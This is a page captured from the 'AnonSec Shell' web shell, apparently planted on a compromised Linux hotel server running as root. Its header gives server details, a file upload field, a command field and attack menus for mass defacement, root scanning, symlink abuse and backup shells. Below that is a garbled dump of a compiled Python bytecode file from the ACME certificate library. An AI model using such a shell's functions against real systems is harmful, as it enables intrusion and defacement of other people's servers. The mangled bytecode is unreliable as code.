AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/usr/lib/python3/dist-packages/acme/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/thread-self/root/usr/lib/python3/dist-packages/acme/__pycache__/challenges.cpython-310.pyc
o

6��a�T�@s$dZddlZddlZddlZddlZddlZddlZddlmZddlm	Z	ddlm
Z
ddlmZddlmZddlm
Z
dd	lmZdd
lmZddlZddlmZddlmZddlZdd
lmZddlmZddlmZddlmZddlmZe�e�Z Gdd�dej!�Z"Gdd�deeej!�Z#Gdd�de"�Z$Gdd�de"�Z%Gdd�de#�Z&Gdd�de%ej'd�Z(e#j)Gdd �d e&��Z*e"j)Gd!d"�d"e(��Z+e#j)Gd#d$�d$e&��Z,e"j)Gd%d&�d&e(��Z-e#j)Gd'd(�d(e&��Z.e"j)Gd)d*�d*e(��Z/e"j)Gd+d,�d,e%��Z0e#j)Gd-d.�d.e#��Z1dS)/z&ACME Identifier Validation Challenges.�N)�cast)�Any)�Dict)�Mapping)�Optional)�Tuple)�Type)�hashes)�crypto)�SSL)�crypto_util)�errors)�fields)�
ResourceMixin)�	TypeMixincsPeZdZUdZiZeeedfed<e	de
eefddf�fdd��Z�Z
S)�	ChallengezACME challenge.�TYPES�jobj�returnc
sJzt��|�WStjy$}zt�|�t�|�WYd}~Sd}~ww�N)�super�	from_json�jose�UnrecognizedTypeError�logger�debug�UnrecognizedChallenge)�clsr�error��	__class__��1/usr/lib/python3/dist-packages/acme/challenges.pyr$s
��zChallenge.from_json)�__name__�
__module__�__qualname__�__doc__rr�strr�__annotations__�classmethodrrr�
__classcell__r!r!rr"rs

(rc@s8eZdZUdZiZeeedfed<dZ	e
�e	�ZdS)�ChallengeResponsezACME challenge response.r�	challengeN)
r#r$r%r&rrr'rr(�
resource_typer�Resource�resourcer!r!r!r"r+-s

r+csfeZdZdZdeeefddf�fdd�Zdeeeffdd�Z	e
deeefddfd	d
��Z�ZS)ralUnrecognized challenge.

    ACME specification defines a generic framework for challenges and
    defines some standard challenges that are implemented in this
    module. However, other implementations (including peers) might
    define additional challenge types, which should be ignored if
    unrecognized.

    :ivar jobj: Original JSON decoded object.

    rrNcst���t�|d|�dS)Nr)r�__init__�object�__setattr__��selfrrr!r"r0Bs
zUnrecognizedChallenge.__init__cCs|jSr)r�r4r!r!r"�to_partial_jsonFsz%UnrecognizedChallenge.to_partial_jsoncCs||�Srr!)rrr!r!r"rIszUnrecognizedChallenge.from_json)
r#r$r%r&rr'rr0rr6r)rr*r!r!rr"r5s$rc@sReZdZUdZdZ	ejdejej	ej
edd�d�Zee
d<edefdd	��Zd
S)�_TokenChallengez3Challenge with token.

    :ivar bytes token:

    g0@�tokenT)�size�minimum)�encoder�decoderrcCsd|jvo	d|jvS)z�Is `token` good?

        .. todo:: acme-spec wants "It MUST NOT contain any non-ASCII
           characters", but it should also warrant that it doesn't
           contain ".." or "/"...

        s..�/)r8r5r!r!r"�
good_token]sz_TokenChallenge.good_tokenN)r#r$r%r&�
TOKEN_SIZEr�Field�encode_b64jose�	functools�partial�decode_b64joser8�bytesr(�property�boolr>r!r!r!r"r7Ns

��r7csVeZdZdZe�d�ZejZ	dddej
defdd�Zde
eeff�fd	d
�Z�ZS)�!KeyAuthorizationChallengeResponsez_Response to Challenges based on Key Authorization.

    :param unicode key_authorization:

    �keyAuthorization�chall�KeyAuthorizationChallenge�account_public_keyrcCs�|j�d�}t|�dkrt�d|j�dS|d|�d�kr,t�d|d|�d��dSt�|j|j	d���
�}|d	|krIt�d
|d|�dSdS)a%Verify the key authorization.

        :param KeyAuthorization chall: Challenge that corresponds to
            this response.
        :param JWK account_public_key:

        :return: ``True`` iff verification of the key authorization was
            successful.
        :rtype: bool

        �.�z)Key authorization (%r) is not well formedFrr8z8Mismatching token in key authorization: %r instead of %r��
hash_function�z=Mismatching thumbprint in key authorization: %r instead of %rT)�key_authorization�split�lenrr�encoder�	b64encode�
thumbprint�thumbprint_hash_function�decode)r4rJrL�partsrWr!r!r"�verifyus,�����z(KeyAuthorizationChallengeResponse.verifycst���}|�dd�|S)NrI)rr6�popr3rr!r"r6�s
z1KeyAuthorizationChallengeResponse.to_partial_json)r#r$r%r&rr@rRr	�SHA256rX�JWKrGr[rr'rr6r*r!r!rr"rHls
" rHc
@s�eZdZUdZeZeed<eZe	e
ed<e
jZdej
defdd�Zdej
de
fdd	�Zejdej
d
edefdd��Zdej
d
ed
edee
effdd�ZdS)rKz�Challenge based on Key Authorization.

    :param response_cls: Subclass of `KeyAuthorizationChallengeResponse`
        that will be used to generate ``response``.
    :param str typ: type of the challenge
    �typ�response_cls�account_keyrcCs&|�d�dt�|j|jd����S)z^Generate Key Authorization.

        :param JWK account_key:
        :rtype unicode:

        r8rMrO)rUrrVrWrXrY�r4rar!r!r"rR�s���z+KeyAuthorizationChallenge.key_authorizationcCs|j|�|�d�S)z�Generate response to the challenge.

        :param JWK account_key:

        :returns: Response (initialized `response_cls`) to the challenge.
        :rtype: KeyAuthorizationChallengeResponse

        �rR)r`rRrbr!r!r"�response�s	�z"KeyAuthorizationChallenge.response�kwargscKst��)a�Generate validation for the challenge.

        Subclasses must implement this method, but they are likely to
        return completely different data structures, depending on what's
        necessary to complete the challenge. Interpretation of that
        return value must be known to the caller.

        :param JWK account_key:
        :returns: Challenge-specific validation.

        )�NotImplementedError�r4rarer!r!r"�
validation�s
z$KeyAuthorizationChallenge.validation�argscOs"|�|�|j|g|�Ri|��fS)z�Generate response and validation.

        Convenience function that return results of `response` and
        `validation`.

        :param JWK account_key:
        :rtype: tuple

        )rdrh)r4rarirer!r!r"�response_and_validation�s�z1KeyAuthorizationChallenge.response_and_validationN)r#r$r%r&�NotImplementedr_r'r(r`rrHrXrr^rRrd�abc�abstractmethodrrhrrjr!r!r!r"rK�s
�
�rK)�	metaclassc@s0eZdZdZdZdddedejdefdd	�Z	d
S)�
DNS01ResponsezACME dns-01 challenge response.zdns-01rJ�DNS01�domainrLrcCs|�||�}|s
t�d�|S)a�Simple verify.

        This method no longer checks DNS records and is a simple wrapper
        around `KeyAuthorizationChallengeResponse.verify`.

        :param challenges.DNS01 chall: Corresponding challenge.
        :param unicode domain: Domain name being verified.
        :param JWK account_public_key: Public key for the key pair
            being authorized.

        :return: ``True`` iff verification of the key authorization was
            successful.
        :rtype: bool

        �4Verification of key authorization in response failed)r[rr)r4rJrqrL�verifiedr!r!r"�
simple_verify�s
zDNS01Response.simple_verifyN)
r#r$r%r&r_r'rr^rGrtr!r!r!r"ro�s roc@sJeZdZdZeZejZdZ	dej	de
defdd�Zdedefd	d
�Z
dS)rpzACME dns-01 challenge.�_acme-challengera�
unused_kwargsrcKs$t�t�|�|��d�������S)�WGenerate validation.

        :param JWK account_key:
        :rtype: unicode

        �utf-8)rrV�hashlib�sha256rRrU�digestrY�r4rarvr!r!r"rhs����zDNS01.validation�namecC�d�|j|�S�zkDomain name for TXT validation record.

        :param unicode name: Domain name being validated.

        z{0}.{1}��format�LABEL�r4r}r!r!r"�validation_domain_name
�zDNS01.validation_domain_nameN)r#r$r%r&ror`r_r�rr^rr'rhr�r!r!r!r"rp�s
rpc@sHeZdZdZdZdZ	dZ		dddded	ej	d
e
edef
dd
�Z
dS)�HTTP01Responsez ACME http-01 challenge response.zhttp-01�Pz

	 NrJ�HTTP01rqrL�portrc	
Cs�|�||�s
t�d�dS|dur#||jkr#t�d|�|d�|�7}|�|�}t�d|j|�z	tj	|dd�}Wntj
jyU}zt�d||�WYd}~dSd}~wwd	|_
t�d
||j|j�|j�|j�}|j|kryt�d|j|�dSdS)
a�Simple verify.

        :param challenges.SimpleHTTP chall: Corresponding challenge.
        :param unicode domain: Domain name being verified.
        :param JWK account_public_key: Public key for the key pair
            being authorized.
        :param int port: Port used in the validation.

        :returns: ``True`` iff validation with the files currently served by the
            HTTP server is successful.
        :rtype: bool

        rrFNz4Using non-standard port for http-01 verification: %sz:{0}zVerifying %s at %s...)r[zUnable to reach %s: %s�asciizReceived %s: %s. Headers: %szEKey authorization from response (%r) doesn't match HTTP response (%r)T)r[rr�PORT�warningr��urir_�requests�get�
exceptions�RequestExceptionr�encoding�text�headers�rstrip�WHITESPACE_CUTSETrR)	r4rJrqrLr�r��
http_responser�challenge_responser!r!r"rt#s:
�
���
�zHTTP01Response.simple_verifyr)r#r$r%r&r_r�r�r'rr^r�intrGrtr!r!r!r"r�s���r�c@s\eZdZdZeZejZdZ	ede	fdd��Z
de	de	fdd�Zd	ej
d
ede	fdd�Zd
S)r�zACME http-01 challenge.z.well-known/acme-challengercCsd|jd|�d�S)zTPath (starting with '/') for provisioned resource.

        :rtype: string

        �/r8)�
URI_ROOT_PATHrUr5r!r!r"�pathdszHTTP01.pathrqcCsd||jS)z�Create an URI to the provisioned resource.

        Forms an URI to the HTTPS server provisioned resource
        (containing :attr:`~SimpleHTTP.token`).

        :param unicode domain: Domain name being verified.
        :rtype: string

        zhttp://)r�)r4rqr!r!r"r�ms
z
HTTP01.urirarvcKs
|�|�S)rwrcr|r!r!r"rhys
zHTTP01.validationN)r#r$r%r&r�r`r_r�rFr'r�r�rr^rrhr!r!r!r"r�[sr�c@s�eZdZdZdZdZ	dZdZede	fdd��Z
ddedee
jd
edee
je
jffdd�Z				ddedeedeede
jfdd�Zdede
jdefdd�Z				ddddedejdee
jdeedeedefdd�Zd	S)�TLSALPN01Responsez$ACME tls-alpn-01 challenge response.ztls-alpn-01i�s1.3.6.1.5.5.7.1.30.1z
acme-tls/1rcCst�|j�d����S)z*Hash value stored in challenge certificaterx)ryrzrRrUr{r5r!r!r"�h�szTLSALPN01Response.hN�rq�key�bitscCs\|durt��}|�tj|�dt�|jd�}tj|jd|d�}t	j
||gd|gd�|fS)a�Generate tls-alpn-01 certificate.

        :param unicode domain: Domain verified by the challenge.
        :param OpenSSL.crypto.PKey key: Optional private key used in
            certificate generation. If not provided (``None``), then
            fresh key will be generated.
        :param int bits: Number of bits for newly generated key.

        :rtype: `tuple` of `OpenSSL.crypto.X509` and `OpenSSL.crypto.PKey`

        NsDER:�hexT)�critical�value)�	force_san�
extensions)r
�PKey�generate_key�TYPE_RSA�codecsrUr��
X509Extension�ID_PE_ACME_IDENTIFIER_V1r�gen_ss_cert)r4rqr�r��	der_value�acme_extensionr!r!r"�gen_cert�s
���zTLSALPN01Response.gen_cert�hostr�cCsL|durt�|�}t�d||�|dur|j}tj|��||��|jgd�S)z�Probe tls-alpn-01 challenge certificate.

        :param unicode domain: domain being validated, required.
        :param string host: IP address used to probe the certificate.
        :param int port: Port used to probe the certificate.

        Nz%s resolved to %s)r�r�r}�alpn_protocols)	�socket�
gethostbynamerrr�r�	probe_snirU�ACME_TLS_1_PROTOCOL)r4rqr�r�r!r!r"�
probe_cert�s	
�zTLSALPN01Response.probe_cert�certcCs�t�|�}t�d|�d�|�t|�dks|d��|��kr!dSt|���D]}|�	|�}|�
�dkr?|��}||jkSq'dS)aVerify tls-alpn-01 challenge certificate.

        :param unicode domain: Domain name being validated.
        :param OpensSSL.crypto.X509 cert: Challenge certificate.

        :returns: Whether the certificate was successfully verified.
        :rtype: bool

        zCertificate %s. SANs: %srzrQrFsUNDEF)
r� _pyopenssl_cert_or_req_all_namesrrr{rT�lower�range�get_extension_count�
get_extension�get_short_name�get_datar�)r4rqr��names�i�ext�datar!r!r"�verify_cert�s

� 
�zTLSALPN01Response.verify_certrJ�	TLSALPN01rLc
Cs~|�||�s
t�d�dS|dur9z
|j|||d�}Wntjy8}ztjt|�dd�WYd}~dSd}~ww|�||�S)a�Simple verify.

        Verify ``validation`` using ``account_public_key``, optionally
        probe tls-alpn-01 certificate and check using `verify_cert`.

        :param .challenges.TLSALPN01 chall: Corresponding challenge.
        :param str domain: Domain name being validated.
        :param JWK account_public_key:
        :param OpenSSL.crypto.X509 cert: Optional certificate. If not
            provided (``None``) certificate will be retrieved using
            `probe_cert`.
        :param string host: IP address used to probe the certificate.
        :param int port: Port used to probe the certificate.


        :returns: ``True`` if and only if client's control of the domain has been verified.
        :rtype: bool

        rrFN)rqr�r�T)�exc_info)r[rrr�r
�Errorr'r�)r4rJrqrLr�r�r�rr!r!r"rt�s
��zTLSALPN01Response.simple_verify)Nr�)NN)NNN)r#r$r%r&r_r�r�r�rFrEr�r'rr
r�r�r�X509r�r�rGr�rr^rtr!r!r!r"r��s>
���
������r�c@sPeZdZdZeZejZdejde	de
ejej
ffdd�Zedefdd��Zd	S)
r�zACME tls-alpn-01 challenge.rarercKs |�|�j|�d�|�d�d�S)a�Generate validation.

        :param JWK account_key:
        :param unicode domain: Domain verified by the challenge.
        :param OpenSSL.crypto.PKey cert_key: Optional private key used
            in certificate generation. If not provided (``None``), then
            fresh key will be generated.

        :rtype: `tuple` of `OpenSSL.crypto.X509` and `OpenSSL.crypto.PKey`

        �cert_keyrq)r�rq)rdr�r�rgr!r!r"rh
s
�zTLSALPN01.validationcCsttjd�ottjd�S)ai
        Check if TLS-ALPN-01 challenge is supported on this machine.
        This implies that a recent version of OpenSSL is installed (>= 1.0.2),
        or a recent cryptography version shipped with the OpenSSL library is installed.

        :returns: ``True`` if TLS-ALPN-01 is supported on this machine, ``False`` otherwise.
        :rtype: bool

        �set_alpn_protos�set_alpn_select_callback)�hasattrr�
Connection�Contextr!r!r!r"�is_supporteds
�zTLSALPN01.is_supportedN)r#r$r%r&r�r`r_rr^rrr
r�r�rh�staticmethodrGr�r!r!r!r"r�s$r�c	@s�eZdZdZdZdZ	ejfdejdej	de
dejfdd	�Zd
ejdejde
fdd
�Zdejde
ddfdd�Zdedefdd�ZdS)�DNSzACME "dns" challenge.�dnsrura�algrercKs(tjjd|jdd��d�||d�|��S)z�Generate validation.

        :param .JWK account_key: Private account key.
        :param .JWA alg:

        :returns: This challenge wrapped in `.JWS`
        :rtype: .JWS

        T)�	sort_keysrx)�payloadr�r�Nr!)r�JWS�sign�
json_dumpsrU)r4rar�rer!r!r"�gen_validation1s��zDNS.gen_validationrhrLc
Cs^|j|d�sdSz||�|j�d��kWStjy.}z
t�d|�WYd}~dSd}~ww)zwCheck validation.

        :param JWS validation:
        :param JWK account_public_key:
        :rtype: bool

        )r�Frxz&Checking validation for DNS failed: %sN)r[�
json_loadsr�rYr�DeserializationErrorrr)r4rhrLrr!r!r"�check_validation@s
���zDNS.check_validation�DNSResponsecKst|j|fi|��d�S)z�Generate response.

        :param .JWK account_key: Private account key.
        :param .JWA alg:

        :rtype: DNSResponse

        )rh)r�r�rgr!r!r"�gen_responseQs
	�
�zDNS.gen_responser}cCr~rr�r�r!r!r"r�]r�zDNS.validation_domain_nameN)r#r$r%r&r_r�r�RS256r^�JWASignaturerr�r�rGr�r�r'r�r!r!r!r"r�)s�
�r�c@s>eZdZdZdZejdejjd�Z	dddej
defd	d
�ZdS)r�z@ACME "dns" challenge response.

    :param JWS validation:

    r�rh)r<rJr�rLrcCs|�ttj|j�|�S)z~Check validation.

        :param challenges.DNS chall:
        :param JWK account_public_key:

        :rtype: bool

        )r�rrr�rh)r4rJrLr!r!r"r�qs	zDNSResponse.check_validationN)
r#r$r%r&r_rr@r�rrhr^rGr�r!r!r!r"r�fs
r�)2r&rlr�rBry�loggingr��typingrrrrrrr�cryptography.hazmat.primitivesr	�josepyr�OpenSSLr
rr��acmerr
r�acme.mixinsrr�	getLoggerr#r�TypedJSONObjectWithFieldsrr+rr7rH�ABCMetarK�registerrorpr�r�r�r�r�r�r!r!r!r"�<module>s`
/AG'$<

Anon7 - 2022
AnonSec Team